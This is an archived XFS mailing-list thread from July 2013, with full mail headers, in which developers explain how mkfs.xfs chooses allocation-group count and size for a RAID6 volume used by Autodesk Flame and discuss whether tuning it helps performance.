X-Barracuda-Apparent-Source-IP: 209.85.214.175 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.175] Received: by mail-ob0-f175.google.com with SMTP id xn12so13260703obc.34 for ; Sun, 14 Jul 2013 09:56:14 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.175] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.175] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:x-mailer; bh=qfHB/AW39EOTaTmqmqDRdJWa+M+1Y0MlQWqodL87JkU=; b=GdvaM7GVFaBW23vlKZZcEeOThSS3WaOdnjz9ntuRkU8gfmfuT6o89/40hxX+Odi9IE rSYFUjBhzRPws7qhbQB6xFmT92KO2VQNxi0nHK1VpPyCAG5Q2uKx+VyGapf1Wb7HwdQr 870pmW4oiN6lL/hR4RKJjz3b9uXaOO5mYhoUffaKMs/i/GM4dgCMA+xh/FpcC2FjfyTl O8wmc7Th+EPGWTLOcjrxS31n0F922zUObd2CyX0/PhM+cDZfagE3nyM947c3GDq3LxmQ 80/Jnv1kHXzy/hyQWji5BJNdphVI4qIajfgGUXex3iX13/AAhvq/HBsgD5MBUcftuvtU ry+w== X-Received: by 10.182.125.70 with SMTP id mo6mr41447821obb.105.1373820974735; Sun, 14 Jul 2013 09:56:14 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id rs4sm64375150obc.10.2013.07.14.09.56.12 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 14 Jul 2013 09:56:13 -0700 (PDT) Subject: Re: specify agsize? Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: specify agsize? Content-Type: text/plain; charset=us-ascii From: aurfalien In-Reply-To: <51E24E03.8010609@hardwarefreak.com> Date: Sun, 14 Jul 2013 09:56:10 -0700 Cc: Eric Sandeen , xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> <51E2092D.7090409@sandeen.net> <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> <51E24E03.8010609@hardwarefreak.com> To: stan@hardwarefreak.com X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-ob0-f175.google.com[209.85.214.175] X-Barracuda-Start-Time: 1373820975 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Jul 14, 2013, at 12:06 AM, Stan Hoeppner wrote: > On 7/13/2013 11:20 PM, aurfalien wrote: > ... >>>> mkfs.xfs -f -l size=3D512m -d su=3D128k,sw=3D14 = /dev/mapper/vg_doofus_data-lv_data > ... >>>> meta-data=3D/dev/mapper/vg_doofus_data-lv_data isize=3D256 = agcount=3D32, agsize=3D209428640 blks >>>> =3D sectsz=3D512 attr=3D2, = projid32bit=3D0 >>>> data =3D bsize=3D4096 = blocks=3D6701716480, imaxpct=3D5 >>>> =3D sunit=3D32 swidth=3D448 blks >>>> naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 >>>> log =3Dinternal log bsize=3D4096 blocks=3D131072, = version=3D2 >>>> =3D sectsz=3D512 sunit=3D32 blks, = lazy-count=3D1 >>>> realtime =3Dnone extsz=3D4096 blocks=3D0, = rtextents=3D0 > ... >> Autodesk has this software called Flame which requires very very fast = local storage using XFS. =20 >=20 > If "Flame" does any random writes then you probably shouldn't be using > RAID6. >=20 >> They have an entire write up on how to calc proper agsize for optimal = performance. >=20 > I think you're confused. Maximum agsize is 1TB. Making your AGs > smaller than that won't decrease application performance, so it's > literally impossible to tune agsize to increase performance. agcount = on > the other hand can potentially have an effect if the application is > sufficiently threaded. But agcount doesn't mean anything in = isolation. > It's tied directly to the characteristics of the RAID level and > hardware. For example, mkfs.xfs gave you 32 AGs for this 14 spindle > array. One could make 32 AGs on a single 4TB SATA disk and the > performance difference between the two will be radically different. >=20 > ... >> Well, it will give me a base line comparison of non tweaked agsize vs = tweaked agsize. >=20 > No, it won't. See above. >=20 >> Yea but based on what? >=20 > Based on the fact that your XFS is ~26TB. >=20 > mkfs.xfs could have given you 26 AGs of ~1TB each. But it chose to = give > you 32 AGs of ~815GB each. Whether you run bonnie, iozone, or your > Flame application, you won't be able to measure a meaningful = difference, > if any difference, between 26 and 32 AGs. >=20 > ... >> Problem is I run Centos so the line; >>=20 >> "As of kernel 3.2.12, the default i/o scheduler, CFQ, will defeat = much of the parallelization in XFS. " >>=20 >> ... doesn't really apply. >=20 > This makes no sense. What doesn't apply? Well, I had assumed it meant Linux kernel version 3.2.12, were as CentOS = is at whatever RHEL is at being 2.6.32. At any rate, based on what I'm getting from you all, is that leave the = agcount alone as agsize will max at 1TB and agcount will adjust = depending on volume size. This volume will encounter a lot of random IO so 32 AGs will suffice at = any rate. Un sure if increasing it to Autodesks 128 will really help my = env. I'm assuming they want a lot of parallelism which again doesn't = apply in my case..=20 > You can change to noop or deadline with a single echo command in a > startup script: >=20 > echo noop > /sys/block/sdX/queue/scheduler >=20 > where sdX is the name of your RAID device. >=20 > --=20 > Stan >=20 >=20 - aurf= From aurfalien@gmail.com Sun Jul 14 12:14:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2E96A7F37 for ; Sun, 14 Jul 2013 12:14:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1C5B68F8039 for ; Sun, 14 Jul 2013 10:14:21 -0700 (PDT) X-ASG-Debug-ID: 1373822059-04cb6c2a46ceace0001-NocioJ Received: from mail-ob0-f176.google.com (mail-ob0-f176.google.com [209.85.214.176]) by cuda.sgi.com with ESMTP id x0bM4kH7N4kEPr60 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 14 Jul 2013 10:14:19 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.176 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.176] Received: by mail-ob0-f176.google.com with SMTP id v19so12908203obq.7 for ; Sun, 14 Jul 2013 10:14:19 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.176] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.176] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:x-mailer; bh=DKGpMo8ytqqfstH9QzW4f1JXgwXmb6qgtzuZXwg26FQ=; b=gfENiZQ8CAfZjl1gJxzIGY8RXlbR+cW0hcIsWdhrkK8Ch1P8iFVtE0Npx5qd+k56/9 cIu9D5YGXqLVcSyP8wjGpXzeuW/KR0ooUMV0KKpsaAXSL/0Ucsds6taW55CVpR5nl/EI 9FkMFoJ0REt7vyYOo7D+REJJD1ciG5nY5RXpyplVG5a2Ifc+wKNEV5V1NuKvfiCjjNuk SjNpn69F3vHmiJBrmmFVCCdm2681M+dS/7xtDqVUmOnupNdOF6sx3VAd/oGggq2XydmC JRSVjXZtl/Cw6RMxyufQ07X5f0CZhDdlfEd657O5ArWlSv6UnW+b7tdUqpfrFS8XljnH 9WsQ== X-Received: by 10.182.81.233 with SMTP id d9mr42154487oby.43.1373822059414; Sun, 14 Jul 2013 10:14:19 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id rs1sm64412569obb.12.2013.07.14.10.14.17 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 14 Jul 2013 10:14:18 -0700 (PDT) Subject: Re: specify agsize? Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: specify agsize? Content-Type: text/plain; charset=us-ascii From: aurfalien In-Reply-To: <51E2CE83.9080003@sandeen.net> Date: Sun, 14 Jul 2013 10:14:15 -0700 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <24AC7E60-49D1-4D6E-8B6F-531C46CDCF53@gmail.com> References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> <51E2092D.7090409@sandeen.net> <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> <51E2CE83.9080003@sandeen.net> To: Eric Sandeen X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-ob0-f176.google.com[209.85.214.176] X-Barracuda-Start-Time: 1373822059 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.10 BSF_SC0_SA085 Custom Rule SA085 On Jul 14, 2013, at 9:14 AM, Eric Sandeen wrote: > On 7/13/13 11:20 PM, aurfalien wrote: >>=20 >> On Jul 13, 2013, at 7:13 PM, Eric Sandeen wrote: >>=20 >>> On 7/13/13 7:11 PM, aurfalien wrote: >>>> Hello again, >>>>=20 >>>> I have a Raid 6 x16 disk array with 128k stripe size and a 512 byte = block size. >>>>=20 >>>> So I do; >>>>=20 >>>> mkfs.xfs -f -l size=3D512m -d su=3D128k,sw=3D14 = /dev/mapper/vg_doofus_data-lv_data >>>>=20 >>>> And I get; >>>>=20 >>>> meta-data=3D/dev/mapper/vg_doofus_data-lv_data isize=3D256 = agcount=3D32, agsize=3D209428640 blks >>>> =3D sectsz=3D512 attr=3D2, = projid32bit=3D0 >>>> data =3D bsize=3D4096 = blocks=3D6701716480, imaxpct=3D5 >>>> =3D sunit=3D32 swidth=3D448 blks >>>> naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 >>>> log =3Dinternal log bsize=3D4096 blocks=3D131072, = version=3D2 >>>> =3D sectsz=3D512 sunit=3D32 blks, = lazy-count=3D1 >>>> realtime =3Dnone extsz=3D4096 blocks=3D0, = rtextents=3D0 >>>>=20 >>>>=20 >>>> All is fine but I was recently made aware of tweaking agsize. >>>=20 >>> Made aware by what? For what reason? >>=20 >> Autodesk has this software called Flame which requires very very fast >> local storage using XFS. They have an entire write up on how to calc >> proper agsize for optimal performance. >=20 > = http://wikihelp.autodesk.com/Creative_Finishing/enu/2012/Help/05_Installat= ion_Guides/Installation_and_Configuration_Guide_for_Linux_Workstations/011= 8-Advanced118/0194-Manually194/0199-Creating199 >=20 > I guess? >=20 > That's quite a procedure! And I have to say, a slightly strange one = at first glance. >=20 > It'd be nice if they said what they were trying to accomplish rather = than just giving you a long recipe. Sorry to double reply to the same thread. But the volume in question (regarding the Autodesk article) is used for = very fast playback of image files. So realtime performance for files of = 2048x1556 resolution. These files are being touched/retouched = throughout the day by the person driving the Flame. The fragmentation on these systems on a heavy day, meaning one were they = are running at 98% full is about 5% on avg. On any given day, the = systems are about 80% full. > In the end, I think they are trying to create 128AGs and maybe work = around some mkfs corner case or other. >=20 >> I never mess with agsize but it is require when creating the XFS >> file system for use with Flame. I realize its tailored for there >> apps particular IO characteristics, so I'm curious about it. >=20 > In general more AGs allow more concurrency for some operations; > it also will generally change how/where files in multiple directories = get > allocated. >=20 >>>> So I would like to mess around and iozone any diffs between the = above >>>> agcount of 32 and whatever agcount changes I may do. >>>=20 >>> Unless iozone is your machine's normal workload, that will probably = prove to be uninteresting. >>=20 >> Well, it will give me a base line comparison of non tweaked agsize vs = tweaked agsize. >=20 > Not necessarily, see above; I'm not sure what iozone invocation would > show any effects from more or fewer AGs. Anyway, iozone !=3D flame, = not > by a long shot! :) >=20 >>>> I didn't see any mention of agsize/agcount on the XFS FAQ and would >>>> like to know, based on the above, why does XFS think I have 32 >>>> allocation groups with the corresponding size? >>>=20 >>> It doesn't think so, it _knows_ so, because it made them itself. ;) >>=20 >> Yea but based on what? >>=20 >> Why 32 at there current size? >=20 > see calc_default_ag_geometry() >=20 > Since you are in multidisk mode (you have stripe geometry) it uses = more AGs for more AGs since it knows you have more spindles: >=20 > } else if (dblocks > GIGABYTES(512, blocklog)) > shift =3D 5; >=20 > 2^5 =3D 32 >=20 > If you hadn't been in multidisk mode you would have gotten 25 AGs due = to the max AG size of 1T. >=20 >>>> And are these optimal >>>> numbers? >>>=20 >>> How high is up? >>>=20 >>> Here's the appropriate faq entry: >>>=20 >>> = http://xfs.org/index.php/XFS_FAQ#Q:_I_want_to_tune_my_XFS_filesystems_for_= .3Csomething.3E >>=20 >> Problem is I run Centos so the line; >>=20 >> "As of kernel 3.2.12, the default i/o scheduler, CFQ, will defeat = much of the parallelization in XFS. " >>=20 >> ... doesn't really apply. >=20 > Well, my point was that your original question, "are these optimal = numbers?" included absolutely no context of your workload, so the best = answer is yes - the default mkfs behavior is optimal for a generic, = unspecified workload. >=20 > I don't have access to Autodesk Flame so I really don't know how it = behaves or what an optimal tuning might be. >=20 > Anyway, I think the calc_default_ag_geometry() info above answered = your original question of "why does XFS think I have 32 allocation = groups with the corresponding size?" - that's simply the default mkfs = algorithm when in multidisk mode, for a disk of this size. >=20 > -Eric >=20 From r.scobie@clear.net.nz Sun Jul 14 14:52:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_MANY_HDRS_LCASE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 310D97F37 for ; Sun, 14 Jul 2013 14:52:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B2B98AC002 for ; Sun, 14 Jul 2013 12:52:51 -0700 (PDT) X-ASG-Debug-ID: 1373831566-04cbb04691f98c50001-NocioJ Received: from smtp3.clear.net.nz (smtp3.clear.net.nz [203.97.33.64]) by cuda.sgi.com with ESMTP id aYNm2nTrfzzmUzuW for ; Sun, 14 Jul 2013 12:52:47 -0700 (PDT) X-Barracuda-Envelope-From: r.scobie@clear.net.nz X-Barracuda-Apparent-Source-IP: 203.97.33.64 Received: from mxin3-orange.clear.net.nz (lb2-srcnat.clear.net.nz [203.97.32.237]) by smtp3.clear.net.nz (CLEAR Net Mail) with ESMTP id <0MPX000I8Z7XHF00@smtp3.clear.net.nz> for xfs@oss.sgi.com; Mon, 15 Jul 2013 07:52:45 +1200 (NZST) Received: from 218-101-90-205.dialup.clear.net.nz (HELO [218.101.90.205]) ([218.101.90.205]) by smtpin3.clear.net.nz with ESMTP; Mon, 15 Jul 2013 07:52:45 +1200 Date: Mon, 15 Jul 2013 07:45:29 +1200 From: Richard Scobie Subject: Re: specify agsize? To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: specify agsize? Message-id: <51E2FFD9.6050703@clear.net.nz> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7bit User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 SeaMonkey/2.19 X-Barracuda-Connect: smtp3.clear.net.nz[203.97.33.64] X-Barracuda-Start-Time: 1373831566 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- aurfalien wrote: ............. So I would like to mess around and iozone any diffs between the above agcount of 32 and whatever agcount changes I may do. ............. There is an Autodesk tool to do this work, sw_io_perf_tool which will give a much more realistic evaluation than iozone. Checkout: http://usa.autodesk.com/adsk/servlet/ps/dl/item?siteID=123112&id=15486735&linkID=9242618 Regards, Richard From stan@hardwarefreak.com Sun Jul 14 17:08:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 252B57F37 for ; Sun, 14 Jul 2013 17:08:07 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B291EAC001 for ; Sun, 14 Jul 2013 15:08:06 -0700 (PDT) X-ASG-Debug-ID: 1373839682-04bdf02b8ed9f5a0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id DXGImhP2YLcxGUDD for ; Sun, 14 Jul 2013 15:08:02 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 0F0926C10B; Sun, 14 Jul 2013 17:08:02 -0500 (CDT) Message-ID: <51E32144.3020109@hardwarefreak.com> Date: Sun, 14 Jul 2013 17:08:04 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Eric Sandeen CC: aurfalien , xfs@oss.sgi.com Subject: Re: specify agsize? References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> <51E2092D.7090409@sandeen.net> <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> <51E2CE83.9080003@sandeen.net> X-ASG-Orig-Subj: Re: specify agsize? In-Reply-To: <51E2CE83.9080003@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1373839682 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/14/2013 11:14 AM, Eric Sandeen wrote: > http://wikihelp.autodesk.com/Creative_Finishing/enu/2012/Help/05_Installation_Guides/Installation_and_Configuration_Guide_for_Linux_Workstations/0118-Advanced118/0194-Manually194/0199-Creating199 > > I guess? > > That's quite a procedure! And I have to say, a slightly strange one at first glance. Agreed. > It'd be nice if they said what they were trying to accomplish rather than just giving you a long recipe. Again. > In the end, I think they are trying to create 128AGs and maybe work around some mkfs corner case or other. Or it's just as likely they are laying out these image frames in a specific manner across 128 directories, assuming 128 AGs exist, to achieve some specific "on disk" organization of the files. It's simply not possible to know without more information. Interestingly, on a 14+2 RAID6 array of 7.2K drives, normally 128 AGs will decrease parallel performance due to a huge increase in head seek latency. Thus I'd assume this isn't a parallel workload. Either that or Autodesk doesn't know XFS as well as they believe. -- Stan From aurfalien@gmail.com Sun Jul 14 17:18:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BCF297F37 for ; Sun, 14 Jul 2013 17:18:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 531B0AC001 for ; Sun, 14 Jul 2013 15:18:17 -0700 (PDT) X-ASG-Debug-ID: 1373840296-04bdf0233ffc6650001-NocioJ Received: from mail-oa0-f51.google.com (mail-oa0-f51.google.com [209.85.219.51]) by cuda.sgi.com with ESMTP id rxlkbdWdUJ0DlI9f (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 14 Jul 2013 15:18:16 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.51 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.51] Received: by mail-oa0-f51.google.com with SMTP id i4so14732033oah.24 for ; Sun, 14 Jul 2013 15:18:15 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.51] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.51] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:x-mailer; bh=jApbFSj3xN8cYrgD0S4NGkEXqqCbSvH04soKMdCXlx0=; b=J6WzJYpDWObUQtBNtByXbZl+pANda+nNKCTkQD+Me34zsCpPV5uKu/uzX7Jm9xzOcC yMTHpnzOaaD00X86y2mBaDnwXOvxm661WrQwbD6cBU/H5FWDaiB1aOvKCVoDX1N66le5 eKLi0Hr9Bi84nL9k0JN95vPizmijFtfbvyllfZTL0ScfqpAndGNvoHyiv9fHTr+bUUZj rUhi94F7CbPOQqlikqvnd8cqcjnSgJZZ3gNDWqq0tD4JZMV4brv9wdOKOiveE5gBjgue AofnTm53/cmsINbSrQIapx1KQZIR0RW9KwYI0gU5p/+Gej+t1EbPvxDeuqpm0ti2qY4q Bd+A== X-Received: by 10.60.144.69 with SMTP id sk5mr42509077oeb.0.1373840295846; Sun, 14 Jul 2013 15:18:15 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id m11sm66846218oer.4.2013.07.14.15.18.13 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 14 Jul 2013 15:18:14 -0700 (PDT) Subject: Re: specify agsize? Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: specify agsize? Content-Type: text/plain; charset=us-ascii From: aurfalien In-Reply-To: <51E2FFD9.6050703@clear.net.nz> Date: Sun, 14 Jul 2013 15:18:11 -0700 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: References: <51E2FFD9.6050703@clear.net.nz> To: Richard Scobie X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-oa0-f51.google.com[209.85.219.51] X-Barracuda-Start-Time: 1373840296 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Jul 14, 2013, at 12:45 PM, Richard Scobie wrote: > aurfalien wrote: > ............. >=20 > So I would like to mess around and iozone any diffs between the above = agcount of 32 and whatever agcount changes I may do. >=20 > ............. >=20 > There is an Autodesk tool to do this work, sw_io_perf_tool which will = give a much more realistic evaluation than iozone. >=20 > Checkout: >=20 > = http://usa.autodesk.com/adsk/servlet/ps/dl/item?siteID=3D123112&id=3D15486= 735&linkID=3D9242618 Brilliant, many thanks! - aurf= From aurfalien@gmail.com Sun Jul 14 17:42:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 121537F37 for ; Sun, 14 Jul 2013 17:42:21 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 82AD4AC001 for ; Sun, 14 Jul 2013 15:42:20 -0700 (PDT) X-ASG-Debug-ID: 1373841735-04cb6c2a47cfc510001-NocioJ Received: from mail-oa0-f53.google.com (mail-oa0-f53.google.com [209.85.219.53]) by cuda.sgi.com with ESMTP id 3c22GloXBk6kzIy7 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 14 Jul 2013 15:42:16 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.53 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.53] Received: by mail-oa0-f53.google.com with SMTP id k14so14817710oag.40 for ; Sun, 14 Jul 2013 15:42:15 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.53] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.53] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:x-mailer; bh=tpWFSA3eX/wj/gITHWSqClYu9pj2PrM9itc6LAdrYAs=; b=siZ46ioQjK/SVCFectu1FRbcD1truEYIB98bGOzrh2ZDk2RRBU/CEXxQA+Si0fAyB7 h9eM5qHp0sFdv0y0+q5DBfzprIu7jofqPEmdaKGDZG8Xl4kctyA8IK7qHIObck1+2gVL OYcXgXlA+3SK3/3PTuVm23eXDEpMQrytYaYjw/vtHRata/FBi4ZBiTP9kfr1eGobD7wt ma36hJRrJcwFRH8r9NY8aAxac4V5edZcg6x6Aui+3UxZ34QTAPgvqmexn/mFzoghI6MK 0aEocQxwMCC+ZozE4yVM7IGdri896IFVgsHlW/CoZqCezgtHPs2Z9nxJac+PF9ylrvWa Licg== X-Received: by 10.60.161.44 with SMTP id xp12mr9955054oeb.91.1373841735714; Sun, 14 Jul 2013 15:42:15 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id rs4sm65512920obc.10.2013.07.14.15.42.13 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 14 Jul 2013 15:42:14 -0700 (PDT) Subject: Re: specify agsize? Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: specify agsize? Content-Type: text/plain; charset=us-ascii From: aurfalien In-Reply-To: <51E32144.3020109@hardwarefreak.com> Date: Sun, 14 Jul 2013 15:42:11 -0700 Cc: Eric Sandeen , xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <2869A4A3-909A-486D-90A2-C1B04317EA40@gmail.com> References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> <51E2092D.7090409@sandeen.net> <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> <51E2CE83.9080003@sandeen.net> <51E32144.3020109@hardwarefreak.com> To: stan@hardwarefreak.com X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-oa0-f53.google.com[209.85.219.53] X-Barracuda-Start-Time: 1373841736 X-Barracuda-Encrypted: RC4-SHA 